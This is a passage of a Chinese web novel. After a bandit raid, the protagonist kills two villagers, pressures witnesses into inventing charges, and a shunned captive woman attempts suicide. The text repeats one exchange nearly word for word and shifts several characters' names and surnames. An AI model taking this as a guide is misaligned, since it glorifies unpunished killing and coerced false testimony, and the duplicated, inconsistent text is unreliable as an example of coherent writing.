他娘的,这乜圆子是真不要命了啊! 他急忙上前几步,想要拦住乜圆子,嘴里还嚷嚷着: “乜圆子,你给我闭嘴!这里哪有你说话的份儿!” 乜圆子正得意呢,突然被王麻山这么一吼,顿时就火了。 他眼睛一瞪,把王麻山推了个趔趄: “你算老几?敢管老子的事?我告诉你,今儿个这事儿没完!” 王麻山差点儿没气吐血。 这蠢货,真是茅坑里的石头,又臭又硬! 他深吸一口气,强压下心头的怒火,指着乜圆子的鼻子骂道: “你个不知死活的东西!你叔的尸首还在山下,你不想着去收尸,还在这里闹事!你是想气死你婶子吗?” 这话一出口,乜圆子顿时像被掐住了脖子的鸭子,说不出话来了。 大元朝最重孝道,这事儿要是传出去,他可就没法做人了。 可就这么认怂,他又实在不甘心。 他眼珠子一转,计上心来,又开始耍无赖: “我……我这不是为了给我婶子多弄点嚼谷嘛!我叔没了,我们一家老小,总得活下去吧?” 王麻山一听这话,差点儿没背过气去。 这他娘的都什么歪理邪说! 他算是看出来了,这乜圆子是铁了心要跟苏阳对着干了。 自己要是再掺和下去,指不定会被这蠢货给连累了。 第二百二十五章 想到这,王麻山干脆往后退了几步,一副“我不管了”的架势。 苏阳也懒得再跟这帮人废话了。 他缓缓抬起弩,冰冷的弩箭,再次对准了乜圆子。 “巡检大人到——” 就在这千钧一发之际,一个尖锐的声音划破长空。 听到这一声,乜圆子顿时像打了鸡血一样,兴奋得直跳脚。 他指着苏阳,得意洋洋地叫嚣: “姓苏的,你给我等着!巡检大人来了,我看你还怎么嚣张!” 王麻山却是一脸的绝望,心里暗骂: 乜圆子啊乜圆子,你可真是个蠢到家了的货! 真以为吕巡检来了就能救你? 你也不看看,苏阳是什么人! 果然,苏阳连眉头都没皱一下,手指轻轻一扣。 “嗖——” 弩箭破空而出,带着刺耳的尖啸,直奔乜圆子而去。 这一箭,又快又准,根本不给乜圆子任何反应的机会。 乜圆子甚至连惨叫都没来得及发出一声, 就被弩箭射穿了胸膛, 身体像断了线的风筝一样, 软绵绵地倒了下去。 鲜血,染红了他身下的土地。 一股浓重的血腥味,在空气中弥漫开来。 原本还喧闹的人群,瞬间安静了下来。 所有人都被吓傻了,一个个呆若木鸡,连大气都不敢出。 乜圆子带来的那些人,更是吓得魂飞魄散。 他们一个个面如土色,双腿打颤,恨不得立刻逃离这个地方。 笑话,连乜圆子都敢杀,这青龙村的小都头还有什么不敢干的? 他们可不想步乜圆子的后尘。 王麻山也是脸色煞白, 心脏“砰砰”直跳,仿佛要从嗓子眼里蹦出来一样。 他偷偷地往后挪了几步, 尽量让自己离苏阳远一点。 生怕这杀红了眼的家伙,把自己也给宰了。 一时间,整个山寨里,静得落针可闻。 只有山风吹过树梢,发出“沙沙”的声响……吕巡检这才姗姗来迟。 与其说是“到”,不如说是“挪”过来的。 照理说,他这官当得越大,腿脚应该越麻利才对。 可这位吕大人偏不,非得摆足了架子,等手底下人把一切安排妥当了,才慢吞吞地出现。 美其名曰:统筹全局。 实际上呢? 还不是怕死! 他怕山上有埋伏,怕土匪没跑干净,怕自己一不小心成了刀下鬼。 直到探子拍着胸脯保证,土匪早就跑没影了,他这才带着人,晃晃悠悠地上山。 刚一进寨门,吕巡检察觉到情况有异。 那股子血腥味儿,隔着老远都能闻到,熏得人脑瓜子嗡嗡的。 吕巡检心里打起了鼓,脚下也放慢了速度。 要不是亲眼看见满地的尸体,他还真以为自己走错地方了。 “给巡检大人请安!向巡检大人道贺!大人神机妙算,运筹帷幄,一举荡平青虎岭匪患,实乃三溪镇百姓之福啊!” 王麻山一看吕巡检那怂样,就知道他心里在想什么。 他眼珠子一转,计上心来,扯着嗓子喊了一通马屁。 别说,这一招还真管用。 吕巡检一听,顿时觉得腰杆子都硬了几分。 他定了定神,清了清嗓子,摆出一副威严的模样。 “嗯,不错,不错。” 吕巡检心里暗自得意。 看看,还是自己有先见之明! 要是刚才真吓得掉头就跑,那可就糗大了! “王麻山,你这张嘴,是越来越会说话了。” 吕巡检瞥了王麻山一眼,语气里带着几分戏谑。 王麻山也不生气,反而笑得更欢了。 他知道,吕巡检这是在夸他呢! 自己这马屁,算是拍到点子上了。 不仅哄得吕巡检高兴,还顺带把自己之前脚底抹油的事给揭过去了。 一箭双雕,美滋滋! “大人,您这是……” 吕巡检的目光落在了乜圆子的尸体上。 乜圆子胸口插着一支弩箭,身体还在微微抽搐,显然是刚死不久。 “这……” 吕巡检心里跟明镜似的。 这胖子,肯定是被人给干掉了。 而且,十有八九不是土匪下的手。 “大人容禀!” 苏阳上前一步,声色俱厉地说道: “我青龙村的兄弟们,个个都是铁骨铮铮的汉子!为了剿匪,大家伙儿奋不顾身,冲锋陷阵,结果……被山贼设下圈套,伤亡惨重啊!” 苏阳说着,眼圈都红了。 他偷偷用余光扫视着四周,观察着众人的反应。 “可恨这乜圆子,不思杀敌报国,反倒趁火打劫,带着人想要哄抢仓库里的财物!” 苏阳说到激愤处,猛地一拍大腿: “我实在是看不下去了,才……才不得不出手,杀了他以正军纪!郑村正,你说是不是这个理?” 王麻山被苏阳这一问,弄得措手不及。 他心里暗骂: 苏二啊苏二,你可真能胡诌! 不过,人死不能复生,还不是任你怎么说? “嗯?王麻山,你哑巴了?说话!” 吕巡检见王麻山不吭声,脸色一沉,厉声喝道。 王麻山心里这个憋屈啊! 你们斗法,干嘛老扯上我? 可他敢说实话吗? 不敢! 他要是说了实话,就等于承认自己之前袖手旁观,见死不救。 这黑锅,他可背不起。 更何况,乜圆子已经死了,清水村也完了。 为了一个死人,得罪苏二这个煞星? 不值当! “对对对!大人英明!苏二说得一点没错!” 王麻山一咬牙,豁出去了: “这乜圆子,简直就是个王八蛋!打仗的时候不见人影,抢东西的时候比谁都快!这种人,死有余辜!” 王麻山越说越激动,声音也越来越大,就差没指着乜圆子的尸体骂娘了。 周围的乡勇们听了,一个个都把头扭到一边,强忍着笑。 见过颠倒黑白的,没见过这么不要脸的! 王麻山,你可真行! 王麻山也知道自己这话说得亏心,可他也没办法啊! 谁让吕巡检和苏阳都逼着他表态呢? 清水村这帮孙子,自己闯的祸,还得老子来给你们擦屁股! 呸! 王麻山越想越气,干脆破罐子破摔,指着几个清水村的乡勇说道: “你们几个,说说,当时到底是怎么回事!” 那几个清水村的乡勇一听,差点没当场晕过去。 让我们说? 我们敢说吗? 说了实话,回去还不得被沙家的人给扒了皮? 可要是不说实话…… 几个人你看看我,我看看你,都从对方眼里看到了绝望。 抢东西这事,本来就是乜圆子挑的头。 只不过,他们想抢的不是大家的,而是青龙村的…… 可这话能说吗? 不能啊! 抢谁的都不行啊! 几个人心里跟吃了黄连似的,苦不堪言。 最后,只能硬着头皮,把王麻山的话又重复了一遍。 “对……对……乜圆子该死……” “他… 第二百二十六章 …他想抢东西,被苏二给杀了……” “……” 几个人越说越顺溜,说到最后,连自己都快信了。 周围的乡勇们听得直摇头。 得,清水村这回是彻底栽了,洗都洗不清了。 没人注意到,那几个清水村的倒霉蛋,心里正在滴血。 你们青龙村和临溪村怎么说都行,可我们是清水村的啊! 等回去了,我们怎么跟乡亲们交代? 怎么跟沙家的人交代? 可惜,没人会关心他们的死活。 吕巡检一看这情况,心里更有数了。 他咳嗽一声,清了清嗓子,开始对青龙村的乡勇们大加赞赏: “好!好!好!青龙村的汉子们,都是好样的!” “你们不畏生死,奋勇杀敌,为朝廷立下了汗马功劳!” “本官一定会上报朝廷,为你们请功!” 吕巡检慷慨激昂地说了一大堆,什么“精忠报国”,“为民除害”,“三溪镇的骄傲”…… 漂亮话一句接着一句,跟不要钱似的。 苏阳在一旁听着,心里冷笑。 这老狐狸,又开始放空炮了。 指望他? 还不如指望母猪上树! 不过,仓库里的东西,自己是别想独吞了。 好在,真正的好处已经到手,给他们留点残羹剩饭,也算是全了这次同生共死的情分,免得他们再闹出什么乱子。 吕巡检巡视完粮仓和货仓,突然来了个“一百八十度大转弯”。 他背着手,踱着步,慢悠悠地走到苏阳面前,说道: “苏二啊,这次剿匪,你们青龙村出力最多,牺牲也最大。” “这样吧,本官做主,仓库里的粮食,你们……拿十石!” 吕巡检说这话的时候,眼睛都不带眨一下的。 苏阳的眼角,却忍不住抽搐了几下。 他早就知道吕巡检是个铁公鸡,可没想到,竟然能抠到这种地步! 上千石的粮食啊! 你就给十石? 打发叫花子呢? 其他几个村的村正,一听这话,脸上的肌肉也跟着抽搐起来。 这姓何的,果然是属貔貅的! 只进不出! 青龙村拼死拼活,就换来这么点粮食? 那我们这些跟着打酱油的,岂不是连汤都喝不着? 几个村正心里那叫一个憋屈,可又不敢说什么,只能在心里暗暗咒骂。 可他们还是低估了吕巡检的“慷慨”程度。 粮食? 想都别想! 吕巡检压根就没打算给他们! “这屋子里,关的都是被土匪抓上来的可怜女子。” 吕巡检话锋一转,指着关押女人的屋子说道: “你们几个村正,都过来看看,瞧瞧是否有你们寨子的人,有的话,就带回去吧。” 几个村正一听,肺都快气炸了。 不给粮食,让我们带这些破烂货回去? 姓何的,你还要脸吗? 这些被土匪糟蹋过的女人,在他们眼里,连路边的野草都不如,更别提她们的家人了。 村正们的心思,都差不多。 谁会把这些残花败柳放在眼里? 人群中,突然传来一阵骚动。 有乡勇认出了被关押的女人,有的是同村的,有的是亲戚,还有一个,竟然是其中一个乡勇的结发妻子! “你……你……你怎么会在这里?” 那名乡勇颤抖着手指向屋内的妇人,结结巴巴地问道,脸色瞬间变得惨白如纸,眼神中充满了震惊、痛苦和绝望。苏阳缓缓眯起眼睛,视线扫过人群。 他没有在那个回来的乡勇脸上看到喜悦。 那是一张扭曲的脸,痛苦,羞耻,还夹杂着一丝怨毒! 这时,屋内妇人望见门口站着的男子,正是她相公。 死寂的眼神中,骤然亮起了一线生的希望: “当家的……你……来接我了……” 女人的声音很低,带着哭腔,像是用尽了全身力气。 可惜,希望越大,失望越大。 男人非但没有进屋,反而向后退去,一步,又一步…… 仿佛屋里站着的不是他日夜思念的妻子,而是一个会吃人的怪物! “啊!” 男人再也无法承受,尖叫一声,猛地转身,跌跌撞撞地逃离了现场。 他不知道该怎么面对一个“不干净”的女人。 屋内,一些原本还抱有一丝幻想的女人,眼神再次黯淡。 大元朝虽然不像后世明清那般变态,但也不是随便的时代。 就算家人能勉强接受,周围人的闲言碎语,也足以把她们逼上绝路! “砰!” “啊……” 突然,屋里传来一声闷响,紧接着是女人们惊恐的尖叫。 屋外也乱成一团: “有人撞墙了!” “勇二家的,勇二家的撞墙啦!” “天杀的,这女人性子真烈!” “还有气,还有气!” “……” 吕巡检听说有女人寻死,脸色铁青。 这些女人,简直是刁民! 吕巡检感觉自己的权威受到了挑衅,怒火中烧, 他猛地一指身边的几个村正,厉声喝道: “你们几个,都给我看好自己村的人!谁村的女人再敢寻死,我拿你们是问!” 几个村正的脸色,顿时比吃了黄连还苦。 带一群这样的女人回去? 搞不好,这就是一堆麻烦! 就算把人带回去了,她们的家人,也未必会接受。 到时候,这些女人想不开,都寻了死了,那不是打他们这些村正的脸吗? 苏阳始终没有说话。 这种事情,岂是三两句话能说得通的。 难道要他站出来,大喊一声“这些女人我要了”? 别开玩笑了,真要这么干,唾沫阳子都能把他淹死! 他能做的,也就是让四獠子去货仓里拿些还算干净的衣服,给这些可怜的女人先遮上。 再弄些吃的来,别让她们饿出个好歹。 没过多久,众人的注意力就被转移了。 因为他们发现了一件更令人震惊的事情——青虎岭的土匪,竟然吃人! 厨房里,那些挂在梁上、已经被处理了一半的尸体,让人不寒而栗。 几乎所有人都吐了,场面一度非常难看。 就连一向注重仪表的吕巡检,也吐得昏天黑地,差点把苦胆都吐出来。 苏阳实在看不下去了。 这种“热闹”,他可没兴趣。 他离开人群,安排人下山,把藏在密林中的牲口车赶过来。 吕巡检“大方”地赏了十石粮食,说什么也不能浪费了! 等待的时候,苏阳让手下的乡勇们给受伤的人处理伤口。 一个村子里的人,能帮一把是一把。 大多数乡勇还是好的。 让苏阳没想到的是,吕管事那个老东西竟然还活着! 先前被那逃命的乡勇撞倒在地,又被踩了几脚,苏阳还以为他早就一命呜呼了。 这老家伙,命是真的硬! 不过,吕管事能活下来,也算是老天开眼。 正因为他倒在地上装死,才躲过了土匪的补刀。 第二百二十七章 苏阳这个人,心肠好。 既然吕管事没死,总不能见死不救。 他琢磨着,这点粮食连五辆大车都装不满,不如把吕管事也带上,顺路送回三溪镇。 这可不是苏阳心怀鬼胎,他是真的想救人。 毕竟,多个朋友多条路。吕管事虽然人品不咋地,但留着他说不定还有用。 这老家伙最大的特点就是贪。 只要有银子,什么都好说。 与其跟吕巡检那种老狐狸打交道,还不如跟吕管事这种人打交道来得痛快。 吕管事此刻已经清醒,暂时失声了,一张老脸煞白如纸。 听说苏阳要送他回镇子,吕管事眼中闪过绝望。 完了,这下彻底完了! 怎么被苏二这家伙得手了? 当初真是瞎了眼,拿了他的钱财,却让他去住那个鬼宅子! 还逼着他花大价钱买下那块破地! 现在自己这副模样,要是路上苏二这小子动点手脚…… 吕管事越想越害怕,几乎要晕过去! 他想求饶,却一个字也说不出来。 就算能说出来,估计也没人会听。 他那位巡检大人,正忙着清点仓库里的粮食和货物呢,懒得理会他死活! 至于他身边的那几个差役? 吕管事更不指望他们。 这几个家伙,平时看着挺忠心,关键时刻却把他扔下逃命,现在指不定多希望他死呢! 与其落在那几个王八蛋手里,还不如让苏二送呢,至少这小子看着还算顺眼。 不得不说,吕管事这脑子是真好使,伤得这么重,还能把这些事情分析得明明白白。 苏阳可不知道吕管事心里的小九九。 他只管安排人装车。 十石粮食,他一粒也没多装,装得满满当当。 倒不是他不想多装,实在是吕巡检那个老抠逼派人盯得太紧,根本没机会下手。 “苏老弟,哥哥有件事想请你帮忙……” 车还没装完,王麻山就凑了过来,一脸的为难。 “王老哥,有事您就说!” 苏阳拍了拍王麻山的肩膀,语气真诚, “就凭我跟志成兄弟的交情,别人的忙我不敢说,您的忙,我一定帮!” 王麻山没有发现,苏阳说话的时候,青龙村的乡勇们都在心里撇嘴。 你跟赖志成的交情? 那真是“好”得不得了,整个青龙村谁不知道!“苏老弟,哥哥我……有件事想请你帮个忙……” 王麻山点头哈腰地凑了过来,脸上堆满了笑,可眼底却闪过一丝不易察觉的为难。 “王老哥,您尽管吩咐!” 苏阳拍了拍王麻山的肩膀,语气那叫一个真诚。 “就凭我跟志成兄弟的交情,别人的忙我不敢打包票,您的忙,我一定帮!” 王麻山似乎没听出苏阳话里的机锋,又或者听出来了却装作没听见。 青龙村的乡勇们可没那么多顾忌,一个个在心里撇嘴。 你跟赖志成的交情? 切,好得不得了,整个青龙村谁不知道你们俩面和心不和! 王麻山搓着手,指了指不远处几个或躺或坐的汉子,吞吞吐吐地说: “苏老弟,你看能不能行个方便,把临溪村的这几个……也捎上?他们伤得不轻,怕是走不回去……” 苏阳顺着他指的方向看去,几个汉子歪歪斜斜地靠在一起,身上血迹斑斑,脸色煞白。 捎几个伤员倒是不费事,临溪村就在回青龙村的路上,举手之劳而已。 可就在苏阳准备张口答应的时候,其他村的几个领头人一窝蜂地凑了过来,七嘴八舌地嚷嚷起来: “苏老弟,大哥帮个忙呗,帮帮忙啊!” “是啊,苏老弟,都是乡里乡亲的,你可不能见死不救啊!” “苏老弟……” 一个个跟商量好了似的,说的都是一个意思,都想让苏阳捎带自己村里的伤员。 苏阳脑袋嗡的一下,有点懵。 就这么几辆破车,哪儿拉得了这么多人? 他把目光投向那几个村正,发现他们交换着眼色,似乎在盘算着什么。 苏阳心里咯噔一下。 不对劲! 这些人平时可没这么好说话,今儿怎么一个比一个热情? 再说了,就算他们想巴结自己,也没必要把姿态放得这么低吧? 事出反常必有妖! “各位老哥,实在是对不住了。”苏阳一脸歉意地拱了拱手,“不是我不想帮忙,实在是心有余而力不足啊。你们看,就这么几辆破车,能拉几个人?” 他故意停顿了一下,默默关注着大伙的表情。 王麻山眼珠子滴溜溜一转,凑到苏阳耳边,压低声音说道: “苏老弟,要不这样,你看中不中?我让几个人帮你把粮食背回去,腾个车位出来,特意接送咱村的人,你看咋样?” 苏阳心里冷笑一声。 这老东西,打的倒是好算盘! 嘴上说是帮忙,实际上还不是想借机安插人手,监视自己? 真当老子是傻子呢! 他脸上不动声色,依旧是一副为难的样子: “王老哥,这……不太好吧?你们村的兄弟也都累了一天了,哪能再让他们干这体力活?” “不碍事,不碍事!”王麻山连连摆手,“都是乡里乡亲的,互相帮助是应该的!” 苏阳心中冷笑更甚。 好一个“互相帮助”! 说得比唱的还好听! 他眼珠一转,计上心来。 既然你们想玩,那老子就陪你们好好玩玩! 他装作恍然大悟的样子,一拍脑门,说道: “哎呀,瞧我这脑子!我怎么把这茬给忘了!各位老哥,你们看看,那些被土匪抓来的女人,一个个哭哭啼啼的,怪可怜的。要不,我先用大车把她们送回去,回头再来接你们村的伤员,你们看行不行?” 这话一出,人群里顿时炸开了锅。 “啥?苏二要送那些女人回去?” “他疯了吧?那些女人都被土匪糟蹋过了,还送她们回去干啥?” “这小子,该不会是看上哪个了吧?” 各种议论声不绝于耳,有惊讶的,有疑惑的,也有幸灾乐祸的。 苏阳之前射杀乜圆子的余威还在,倒是没人敢当面指责他。 但还是有人在下面窃窃私语,指指点点。 “嘿,你们还不知道吧?听说这苏二,最好色了,看见小姐姐就犯花痴!” “真的假的?不能吧?他看着不像那种人啊!” “切,知人知面不知心!我可是听我青龙村的表哥说的,这事儿八九不离十!” “啧啧啧,真是人不可貌相啊!这要是传出去,咱们三溪镇的脸都让他给丢尽了!” “就是就是,咱们可不能让他这么胡来!” 眼看着有人开始诋毁苏阳,青龙村的乡勇们顿时就不乐意了。 一个个怒目圆睁,攥紧了拳头,恨不得冲上去跟那些嚼舌根的人干一架。 第二百二十八章 “都他娘的给老子闭嘴!”赖志成怒吼一声,“谁再敢胡说八道,老子撕烂他的嘴!” 他虽然跟苏阳不对付,但关键时刻还是拎得清的。 这个时候,他必须维护苏阳的威信,否则,青龙村的脸面往哪儿搁? 苏阳扫视了一圈,并没有被这些流言蜚语影响。 他知道,这些议论声中,有很大一部分是那几个老家伙故意放出来的,目的就是为了试探自己的底线。 既然你们想玩,那我就陪你们好好玩玩! 看看谁才是真正的老狐狸! 他清了清嗓子,朗声说道: “各位乡亲,我知道你们心里是怎么想的。你们觉得,那些女人被土匪糟蹋了,已经不干净了,不配再回到咱们三溪镇了,对不对?” 人群中一阵骚动,不少人低下了头,不敢跟苏阳对视。 苏阳冷笑一声,继续说道: “可是你们有没有想过,她们也是咱们三溪镇的人,她们也是咱们的姐妹!她们难道自愿被那群混子欺负?她们不想活吗?她们不想回家吗?” “如果不是咱们这些当男人的没用,没能保护好她们,她们又怎么会落到今天这步田地?” “现在,她们好不容易逃出生天,咱们不帮她们一把也就算了,还要在背后说她们的坏话,往她们身上泼脏水,你们的良心就不会痛吗?” 苏阳越说越激动,说到最后,声音都有些颤抖了。 他“噌”的一声拔出腰间的虎头弯刀,狠狠地插在了地上,刀身还在微微颤动。 这突如其来的举动,把所有人都吓了一跳,纷纷向后退去。 “我苏阳今天就把话撂在这儿了!谁要是敢再在背后嚼舌根,说那些女人的坏话,别怪我手中的刀不认人!” 苏阳环视四周,目光如刀,从每一个人的脸上扫过。 “这些女人,我今天送定了!谁要是敢拦着,先问问我手中的刀答不答应!” 人群中一片寂静,没有人敢说话,甚至连大气都不敢喘。 苏阳这番话,掷地有声,震慑住了所有人。 “说得好!” 突然,一个沙哑的声音打破了寂静。 众人循声望去,只见吕管事被五花大绑地扔在驴车上,正艰难地抬起头,冲着苏阳竖起了大拇指。 “苏……苏老弟,你说得……太好了!我……我老吕……支持你!” 吕管事断断续续地说道,声音虽然虚弱,但却充满了敬佩。 苏阳的眼睛微微眯了起来。 这老家伙,葫芦里卖的什么药?“这老家伙,还真把自己当盘菜了?” 苏阳眼角瞥见驴车上哼哼唧唧的吕管事,心里一阵烦躁。要不是还得靠这老东西给自己撑腰,他真恨不得一脚把这碍眼的玩意儿踢下山沟里去。 吕管事伤得七荤八素,还不消停,一个劲儿地在那儿哼哼。 苏阳都怀疑这老家伙是不是有什么特殊癖好,难不成真是个要色不要命的主儿? 其实,吕管事哪还有心思惦记那些个女人。 他纯粹是吓破了胆。 他怕苏阳半道上把他给做了。 别看吕管事在几个村正眼里是个人物,但他自己心里跟明镜似的,说白了就是个跑腿的货色。 之所以上赶着支持苏阳,就是想拉上一帮人壮胆。人多眼杂,苏阳才不敢随便乱来。 这帮村长都是老狐狸,哪能看不出吕管事那点小九九? 吕管事都发话了,他们谁还敢让本村的女人坐苏阳的大车回去? 那不是上赶着打吕管事的脸吗? 再说,自家的女人,凭啥要让别的村照顾?跌份儿! 于是乎,几个村正争先恐后地拍着胸脯保证,绝不麻烦苏阳,一定把自己村的女人全须全尾地带回去! 这么一折腾,真正坐上苏阳大车的女人,还真没几个。 土匪抓她们是为了泄欲,又不是为了吃人肉,下手再狠也有个轻重,这些女人咬咬牙,倒也能走。 苏阳刚要带着人下山,吕巡检却颤颤巍巍地挪了过来。 “苏阳啊,”吕巡检拿腔拿调地说着,一只手还不住地捋着他那几根稀稀拉拉的山羊胡,“这次你干得漂亮!我看你们村的村正也指望不上了,这样,你回去先顶上,当个代村正,好好带着乡亲们熬过这个冬天,别让一个人饿死,明白吗?” 这话一出口,周围立马炸开了锅。 “啥?苏二这小子,这么年轻就当村正了?” “他懂个屁啊,能当好村正吗?” “切,还不是家里有几个臭钱?我要是跟他一样有钱,我也能当!” …… 外村人议论纷纷,大多是羡慕嫉妒恨。 尤其是那些村正的狗腿子,平时在村里作威作福惯了,现在看到比他们还年轻的苏阳居然要当村正,那嫉妒的,眼珠子都红了。 “哼,听说青龙村有几个水灵灵的小娘们,要是能混上青龙村一把手该多爽……”有人已经开始做起了白日梦。 和外村人反应截然不同,大部分青龙村人,那是真心替苏阳高兴。 赖志成先前在村里作威作福,早就惹得天怒人怨。 现在苏阳当了村正,大伙儿也算出了一口恶气。 而且苏阳这人出手大方,跟着他干活,肯定亏待不了大家。 当然,也有人心里不痛快。 赖志成的那几个狗腿子,还有卓明远,听说苏阳要当村正,一个个脸色铁青。 尤其是卓明远,眼睛里都快喷出火来了。 他做梦都想当村正,现在眼瞅着煮熟的鸭子飞了,心里那个恨啊,简直比死了亲爹还难受。 卓明远死死地盯着苏阳的背影,心里像是有无数只蚂蚁在爬,又痒又疼,难受得要命。 他知道,只要苏阳当上一天村正,他们韩家就别想再翻身! “不行,不能让他这么得意!” 卓明远猛地一咬牙,像是下定了什么决心。 突然,他一个箭步冲到吕巡检面前,噗通一声跪倒在地,声泪俱下地喊道:“巡检老爷,您可要为小人做主啊!” 吕巡检正捋着胡子,被这突如其来的一嗓子吓了一跳,差点没把胡子给揪下来。 他皱着眉头,不耐烦地瞪了卓明远一眼:“你又有什么事?” “巡检老爷,苏阳他……”卓明远刚要开口,突然感觉眼前一花,紧接着,胸口传来一阵剧痛。 他“哇”地一声喷出一口鲜血,身子一软,瘫倒在地。 “你……”卓明远艰难地抬起头,瞪大了眼睛,死死地盯着站在自己面前的苏阳,眼神里充满了震惊和不甘。 他怎么也想不到,苏阳竟然会当着这么多人的面,直接对自己下杀手! “我……”卓明远还想说什么,可喉咙里像是被什么东西堵住了,张口结舌说不出话,只有鲜血不断地从嘴角涌出。 第二百二十九章 他想抬手去捂住胸口的伤口,可手臂却像灌了铅一样沉重,怎么也抬不起来。 剧烈的疼痛,让他的意识开始模糊,眼前的一切都变得扭曲起来。 他看到吕巡检惊怒交加的脸,看到周围人惊恐万状的表情,看到苏阳冷漠无情的眼神…… “早知道……就不……” 最后一个念头在卓明远的脑海中闪过,随后,他的意识便陷入了一片黑暗。 所有人都被这突如其来的一幕惊呆了。 谁也没想到,苏阳竟然会如此果断,如此狠辣,直接一刀结果了卓明远! 尤其是青龙村的乡勇,一个个吓得脸色煞白,大气都不敢喘。 完了,完了,阳哥儿这下闯大祸了! 在巡检大人眼皮子底下动手,这还了得? 就在众人惊魂未定之时,几个身影却悄无声息地围了上来。 周阳,林韧,路旭东……这些苏阳一手带出来的半大小子,此刻一个个面色冷峻,眼神中闪烁着嗜血的光芒。 他们悄悄地握紧了手里的武器,只等苏阳一声令下,便会毫不犹豫地扑向吕巡检! 苏阳自然注意到了身后的小动作。 他心中暗自点头,这帮小子,总算没让自己失望。 不过,现在还不是时候。 苏阳微微抬手,制止了他们的行动。 他转过身,面对着脸色铁青的吕巡检,缓缓地单膝跪地,将带血的虎头弯刀放在地上。 他并没有解释,只是沉声说道:“巡检大人,我犯了错,请您责罚!” “你……”吕巡检被苏阳这突如其来的举动弄得一愣,一时间竟不知道该说什么好。 他见过横的,没见过这么横的。 杀了人,还这么理直气壮? 吕巡检眯起眼睛,上上下下地打量着苏阳。 他想从苏阳的脸上看出些什么,可苏阳的表情却平静得像一潭死水,没有任何波澜。 没有得意,没有张狂,甚至没有一丝恐惧。 仿佛方才下手的另有其人,而是一个毫不相干的陌生人。 吕巡检沉默不语,现场的气氛压抑到了极点。 所有人都屏住了呼吸,生怕弄出一点声响,引来杀身之祸。苏阳没搭理吕巡检,而是拿刀尖指着赖志成的一个帮闲,语气淡淡的:“巡检大人,您日理万机,这种小事不如问问他,或许,他知道点什么。” 被苏阳点名的帮闲,只觉得一股凉气从脚底板直窜天灵盖,差点没瘫在地上。 他心里把苏阳祖宗十八代都问候了个遍,可脸上却不敢露出丝毫的不敬。 “苏二,你……” “问你话呢!哑巴了?”吕巡检等得不耐烦,三角眼一瞪,声音陡然拔高。 这一嗓子,如同晴天霹雳,震得帮闲浑身一个激灵。 他“扑通”一声跪在地上,身子抖得跟筛糠似的,嘴里却还在强撑着:“我……小的……” “说!他为什么杀人?”吕巡检指着地上的尸体,厉声问道。 “这……”帮闲眼珠子乱转,脑子里一片空白。 他哪里知道苏阳为什么杀人,他只知道,自己要是说错一句话,恐怕下一个躺在地上的就是他。 “小的……小的……” “再吞吞吐吐,老子先送你上路!”吕巡检可没耐心跟他耗,直接威胁道。 这帮闲吓得一哆嗦,也顾不上那么多了,张嘴就开始胡诌: “回……回巡检老爷,不……不是苏村正要杀他,是……是卓明远他……他该死!” 话一出口,他反倒没那么紧张了,一边偷瞄苏阳的反应,一边继续编造: “卓明远那狗日的,他……他通匪!他害死了我们青龙村好多人!” 旁边另一个帮闲见状,也像是抓住了救命稻草,连忙扑通一声跪倒: “巡检老爷,他说的没错!卓明远通匪,证据确凿!” “哦?”吕巡检挑了挑眉毛,似乎来了兴趣,“你有什么证据?” “这……”那帮闲顿时语塞,他哪有什么证据,刚才不过是情急之下胡说八道而已。 “小的……小的亲眼看见他给土匪发信号!”他硬着头皮说道。 “放屁!”一个声音突然响起,却是赖志成手下的另一个帮闲。 “你才放屁!老子亲眼看见的,还能有假?” “你看见个屁!你就是想陷害卓明远!” “我陷害他?他算个什么东西,值得我陷害?” 眼看着两人就要吵起来,吕巡检猛地一拍桌子:“都给我闭嘴!” “是是是……” 两个帮闲吓得连忙闭上了嘴巴,大气都不敢喘。 吕巡检冷冷地扫了他们一眼,又看向剩下的几个帮闲:“你们呢?也看见了?” 剩下的几个帮闲你看看我,我看看你,最后都咬了咬牙,齐刷刷地跪倒在地: “小的们也看见了!” “没错,卓明远就是个奸细!” “他该死!” …… 几个人七嘴八舌,把卓明远说成了十恶不赦的罪人,仿佛他活着就是对整个三溪镇的威胁。 吕巡检捻着胡须,冷眼旁观。 他心里跟明镜似的,知道这帮家伙在演戏。 可他没证据。 更重要的是,苏阳刚立了大功,现在正是风头无两的时候。 没有确凿的证据,还真不好处置他。 吕巡检脸色阴沉地站起身,拂袖而去: “苏二,你好自为之!” 这话听起来像是警告,却也透着一股无奈。 “巡检大人慢走!”苏阳不卑不亢地拱了拱手。 吕巡检离开后,几个村正看向苏阳的眼神都变了。 这小子,不简单! 小小年纪,心思竟然如此深沉,以后怕是要成为三溪镇的一霸。 有人忌惮,有人佩服,也有人开始盘算着怎么利用苏阳。 王麻山更是气得咬牙切齿,心里暗骂:“小兔崽子,敢在老子面前耍威风,回去再跟你算账!” 苏阳却像个没事人一样,仿佛刚才的一切都跟他无关。 他转身对青龙村的乡勇们说道:“乡亲们,仇报了,咱们回家!” “走!” 青龙村的乡勇们齐声应道,声音中带着一丝悲凉,也带着一股决绝。 他们紧紧跟在苏阳身后,迈着整齐的步伐,向着青龙村的方向走去。 这支队伍沉默而坚定,像一把刚刚饮过血的利剑,锋芒毕露。 其他村的乡勇们不自觉地让开了一条路,眼神复杂地看着他们远去。 突然,一个身影冲了出来,挡在了苏阳面前。 “苏村正,请留步!” 路旭东反应极快,手中长枪一挺,险些将那人刺穿。 好在他及时收手,枪尖堪堪停在了那人面前。 来人正是之前寻死觅活的勇二老婆。 她额头上肿起一个大包,脸色苍白,眼神却异常执着。 苏阳皱了皱眉,看着这个拦路的女人:“大嫂,你这是何意? 第二百三十章 ” 勇二老婆“扑通”一声跪倒在地,泪水瞬间涌出眼眶: “苏村正,求求你,带我走吧!我……我不想回临溪村了!” 这话一出,人群顿时炸开了锅。 “这女人,疯了吧?” “她想干什么?勾引苏村正?” “不要脸,真是不要脸!” …… 各种议论声不绝于耳,有鄙夷的,有嘲笑的,也有看热闹不嫌事大的。 勇二站在人群中,脸色铁青,拳头紧握,指节都捏得发白了。 他死死地盯着苏阳,眼神中充满了怨恨和愤怒,仿佛要将苏阳碎尸万段。“都安静,听这位大嫂把话说完!” 苏阳抬手,五指微微蜷曲,示意众人稍安勿躁。 勇二老婆本就被众人指指点点,骂得脸色发白,此刻更是摇摇欲坠,仿佛风中残烛,随时都会熄灭。她深吸一口气,强压下心头的苦涩与屈辱,稳住心神,才继续说道: “苏村正,我……我不是想给您当娘子,我是想……去青龙村,为您鞍前马后,为奴为婢!” “哦?” 苏阳右手拇指轻轻摩挲着下巴,眼神玩味地上下打量着她,似乎在评估这番话的可信度。 